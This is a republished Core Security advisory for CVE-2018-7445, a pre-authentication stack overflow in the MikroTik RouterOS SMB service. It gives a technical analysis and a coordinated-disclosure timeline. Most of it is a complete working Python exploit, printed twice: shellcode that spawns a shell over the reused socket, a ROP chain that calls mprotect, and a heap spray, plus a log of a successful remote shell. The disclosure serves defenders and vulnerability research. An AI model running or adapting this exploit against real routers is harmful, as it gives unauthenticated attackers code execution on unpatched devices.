MikroTik RouterOS SMB Buffer Overflow(CVE-2018-7445)

2018-03-1600:00:00

Root

www.seebug.org

243

0.905 High

EPSS

Percentile

98.5%

JSON

1. Advisory Information

Title: MikroTik RouterOS SMB Buffer Overflow
Advisory ID: CORE-2018-0003
Advisory URL: http://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow
Date published: 2018-03-15
Date of last update: 2018-03-15
Vendors contacted: MikroTik
Release mode: Coordinated release

2. Vulnerability Information

Class: Stack-based Buffer Overflow [CWE-121]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2018-7445

3. Vulnerability Description

MikroTik is a Latvian company which was founded in 1996 to develop routers and wireless ISP systems. MikroTik now provides hardware and software for Internet connectivity in most of the countries around the world. RouterOS is MikroTik’s stand-alone operating system based on Linux v3.3.5 kernel.

A buffer overflow was found in the MikroTik RouterOS SMB service when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system. The overflow occurs before authentication takes place, so it is possible for an unauthenticated remote attacker to exploit it.

4. Vulnerable Packages

All architectures and all devices running RouterOS before versions 6.41.3/6.42rc27

5. Vendor Information, Solutions and Workarounds

MikroTik released version 6.41.3 of RouterOS [1] that fixes the reported issue.
The workaround suggested by MikroTik in case it is not possible to install an update consists of disabling the SMB service.

6. Credits

This vulnerability was discovered and researched by Juan Caillava and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.

7. Technical Description / Proof of Concept Code

The overflow takes place in the function in charge of parsing NetBIOS names, which receives two stack allocated buffers as parameters. As an example reference, this function is located at address 0x08054607 on the x86 SMB binary version 6.40.5.

The first byte of the source buffer is read and used as the size for the copy operation. The function then copies that amount of bytes into the destination buffer. Once that is done, the next byte of the source buffer is read and used as the new size. This loop finishes when the size to copy is equal to zero. No validation is done to ensure that the data fits on the destination buffer, resulting in a stack overflow.

Simplified pseudo-code of the vulnerable function:

int parse_names(char *dst, char *src) {
  int len;
  int i;
  int offset;
 
  // take the length of the first string
  len = *src;
  offset = 0;
 
  while (len) {
    // copy the bytes of the string into the destination buffer
    for (i = offset; (i - offset) &lt; len; ++i) {
      dst[i] = src[i+1];
    }
 
    // take the length of the next string
    len = src[i+1];
 
    // if it exists, then add a separator
    if (len) {
      dst[i] = ".";
    }
 
    // start over with the next string
    offset = i + 1;
  }
 
  // nul-terminate the string
  dst[offset] = 0;
 
  return offset;
}

It is possible to reach this function by sending a NetBIOS session request message. We will demonstrate code execution targeting the x86 Cloud Hosted Router and develop a proof of concept exploit.

How to approach the exploitation depends on the specifics of the targeted device and architecture. In the case of Cloud Hosted Router on x86, we will have to deal with DEP and ASLR.

In order to bypass DEP, we will build a ROP chain to call ‘mprotect’ and mark a memory region as both writable and executable. In terms of ASLR, we found that even though the base address of the stack and the loaded libraries was randomized, the base address of the heap was not. Therefore, it is possible to store a large payload on the heap to act as a NOP sled right before triggering the vulnerable function and jump to a fixed location in this region. Our testing showed this approach to be extremely reliable.

The proof of concept exploit presented below illustrates this process, reusing the connection socket to spawn a shell and execute arbitrary commands on the system.

#!/usr/bin/env python
 
import socket
import struct
import sys
import telnetlib
 
NETBIOS_SESSION_MESSAGE = "\x00"
NETBIOS_SESSION_REQUEST = "\x81"
NETBIOS_SESSION_FLAGS = "\x00"
 
# trick from <a href="http://shell-storm.org/shellcode/files/shellcode-881.php">http://shell-storm.org/shellcode/files/shellcode-881.php</a>
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"
 
# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
 
# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh
 
# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it
p = lambda x : struct.pack('I', x)
 
rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; 
rop += p(0x08072000) # ebx -&gt; heap base
rop += p(0xffffffff) # ebp -&gt; gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; 
rop += p(0x14000)    # ecx -&gt; size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; 
rop += p(0x00000007) # edx -&gt; permissions for mprotect -&gt; PROT_READ | PROT_WRITE | PROT_EXEC
rop += p(0xffffffff) # edi -&gt; gibberish
rop += p(0xffffffff) # ebp -&gt; gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x0000007d) # ebp -&gt; mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; 
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -&gt; gibberish
rop += p(0x0)        # edx -&gt; zeroed out
rop += p(0x0)        # ecx -&gt; zeroed out
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x08075802) # ebp -&gt; somewhere on the heap that will (always?) contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap
 
offset_to_regs = 83
 
# we do not really care about the initial register values other than overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;
 
payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload))
buf = header + payload
 
def open_connection(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, 139))
    return s
 
def store_payload(s):
    print "[+] storing payload on the heap"
    s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode)
 
def crash_smb(s):
    print "[+] getting code execution"
    s.send(buf)
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "%s ip" % sys.argv[0]
        sys.exit(1)
 
    s = open_connection(sys.argv[1])
    store_payload(s)
 
    # the server closes the first connection, so we need to open another one
    t = telnetlib.Telnet()
    t.sock = open_connection(sys.argv[1])
    crash_smb(t.sock)
    print "[+] got shell?"
    t.interact()

The following excerpt shows the successful exploitation of a remote SMB service.

[admin@ MikroTik] &gt; ip smb print
       enabled: yes
        domain: MSHOME
       comment: MikrotikSMB
  allow-guests: yes
    interfaces: all
[admin@ MikroTik] &gt; ip address print
Flags: X - disabled, I - invalid, D - dynamic 
 #   ADDRESS            NETWORK         INTERFACE                              
 0 D 192.168.0.249/24   192.168.0.0     ether1

$ python smb_exploit.py 192.168.0.249
[+] storing payload on the heap
[+] getting code execution
[+] got shell?
sh: turning off NDELAY mode
uname -a
Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_64 unknown

8. Report Timeline

2018-02-19: Core Security sent an initial notification to MikroTik.
2018-02-19: Core Security noticed that a candidate release addresses the vulnerability.
2018-02-21: MikroTik answered saying that they were planning to release a final version with a fix for SMB the week of 26 February and asked for additional information.
2018-02-21: Core Security thanked MikroTik’s answer and sent a draft advisory with a technical description. In addition, Core Security proposed the release date to be March 1st.
2018-02-21: MikroTik confirmed the proposed release date.
2018-02-23: Core Security asked MikroTik for a confirmation about the availability of the fix before the publication date. Also, Core Security sent the CVE-ID request to Mitre.
2018-02-23: MikroTik confirmed the availability of the fix for the publication date.
2018-02-28: Core Security asked MikroTik for a confirmation about the release of the fixed version again.
2018-02-28: MikroTik answered saying that they had some issues and asked for an extension of one week.
2018-02-28: Core Security analyzed the possibility of postponing the publication date and asked MikroTik for a new release date.
2018-03-01: MikroTik answered that they didn´t have a certain release date for their fix.
2018-03-01: Core Security requested a solidified release date for coordinated disclosure. Agreed to postpone till March 8th.
2018-03-01: MikroTik answered saying they understand it’s their fault and if they don’t release the fixed version in time, we might have to release our document.
2018-03-02: Core Security thanked the update and asked again about the planned release date.
2018-03-05: MikroTik answered that they still don’t have a certain release date for their fix.
2018-03-05: Core Security answered saying the one week postponed was proposed by Mikrotik, yet they still cannot commit to a release date. Core Security clarified again the intention is to do a coordinated release, but in order to do that it is needed a tentative release date.
2018-03-12: Core Security noticed that a new version of MikroTik RouterOS were available and asked MikroTik if this version fixed the vulnerability.
2018-03-12: MikroTik confirmed that the published version addressed the reported vulnerability.
2018-03-15: Advisory CORE-2018-0003 published.


                                                #!/usr/bin/env python
 
import socket
import struct
import sys
import telnetlib
 
NETBIOS_SESSION_MESSAGE = "\x00"
NETBIOS_SESSION_REQUEST = "\x81"
NETBIOS_SESSION_FLAGS = "\x00"
 
# trick from <a href="http://shell-storm.org/shellcode/files/shellcode-881.php">http://shell-storm.org/shellcode/files/shellcode-881.php</a>
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"
 
# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
 
# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh
 
# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it
p = lambda x : struct.pack('I', x)
 
rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; 
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; 
rop += p(0x14000)    # ecx -> size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; 
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC
rop += p(0xffffffff) # edi -> gibberish
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; 
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0)        # edx -> zeroed out
rop += p(0x0)        # ecx -> zeroed out
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap
 
offset_to_regs = 83
 
# we do not really care about the initial register values other than overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;
 
payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload))
buf = header + payload
 
def open_connection(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, 139))
    return s
 
def store_payload(s):
    print "[+] storing payload on the heap"
    s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode)
 
def crash_smb(s):
    print "[+] getting code execution"
    s.send(buf)
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "%s ip" % sys.argv[0]
        sys.exit(1)
 
    s = open_connection(sys.argv[1])
    store_payload(s)
 
    # the server closes the first connection, so we need to open another one
    t = telnetlib.Telnet()
    t.sock = open_connection(sys.argv[1])
    crash_smb(t.sock)
    print "[+] got shell?"
    t.interact()